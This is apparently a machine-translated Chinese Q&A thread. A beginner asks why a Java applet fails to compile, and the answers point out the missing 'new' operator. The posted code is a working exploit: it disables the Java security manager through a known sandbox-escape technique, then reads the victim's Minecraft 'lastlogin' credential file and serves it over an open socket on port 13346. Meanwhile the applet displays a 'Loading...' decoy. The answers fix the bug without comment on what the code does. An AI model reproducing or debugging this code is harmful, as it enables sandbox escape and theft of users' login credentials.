我是java新手,遇到编译错误:
/tmp/jc_16831/Gondvv.java:71: cannot find symbol
symbol : method File(java.lang.String)
location: class Gondvv
File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
我包括File类,所以我不明白..
代码在这里:
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.lang.String;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;
import java.io.*;
import java.io.File;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void start()
{
String userName = System.getProperty("user.name");
File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
InputStream inputStream = new FileInputStream(llf);
ServerSocket serverSocket = new ServerSocket(13346);
Socket socket = serverSocket.accept();
OutputStream outputStream = socket.getOutputStream();
int len = 0;
byte[] buffer = new byte[16384];
while ((len = inputStream.read(buffer)) > 0)
outputStream.write(buffer, 0, len);
inputStream.close();
outputStream.close();
socket.close();
}
public void init()
{
try
{
disableSecurity();
// Process localProcess = null;
// localProcess = Runtime.getRuntime().exec("calc.exe");
// if(localProcess != null);
// localProcess.waitFor();
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading...", 25, 50);
}
}
答案 0 :(得分:5)
您想构建一个新的File对象,因此您应该使用new
运算符。
File llf = new File("...");
另请注意,通常你是不合理的,而不是你正在使用的代码,特别是在你的编程生涯的最初几年。
答案 1 :(得分:0)
缺少new
来创建类File的新对象。没有方法不属于对象或(static
方法)类。
答案 2 :(得分:0)
您忘记在文件之前添加新操作符。
File llf = new File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );